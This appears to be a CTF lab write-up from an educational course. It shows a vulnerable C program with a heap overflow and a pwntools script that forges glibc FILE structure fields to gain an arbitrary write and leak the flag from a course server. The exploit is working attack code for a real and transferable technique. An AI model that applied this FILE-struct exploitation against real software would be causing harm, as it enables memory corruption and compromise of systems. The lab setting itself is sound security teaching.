Simple PWN 0x23(Lab - AAW)

tags: CTF PWN eductf

Version: Ubuntu 20.04

Original Code

:::spoiler Original Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

char flag[0x10] = "FLAG{TEST}\n";
char owo[] = "OWO!";

int main()
{
    FILE *fp;
    char *buf;

    buf = malloc(0x10);
    fp = fopen("/tmp/meow", "r");
    read(0, buf, 0x1000);
    fread(buf, 0x10, 1, fp);

    if (strcmp(owo, "OWO!") != 0)
        write(1, flag, sizeof(flag));

    return 0;
}

:::

Exploit

from pwn import *

# r = process('./chal')
r = remote('edu-ctf.zoolab.org', 10009)

context.arch = 'amd64'

owo_addr = 0x404070

raw_input()
payload = flat(
    p64(0)*2,
    0, 0x1e1,
    p64(0xfbad0000),        #_flags         O
    p64(0),                 #_IO_read_ptr   O
    p64(0),                 #_IO_read_end   O
    p64(0),                 #_IO_read_base  X
    p64(owo_addr),          #_IO_write_base O
    p64(0),                 #_IO_write_ptr  X
    p64(0),                 #_IO_write_end  X
    p64(owo_addr),          #_IO_buf_base   O
    p64(owo_addr+0x20),      #_IO_buf_end    O
    p64(0)*5,               #_chain         X
    p64(0)                  #_fileno        O
)

r.send(payload)
raw_input()
r.sendline(p64(2)*2)

r.interactive()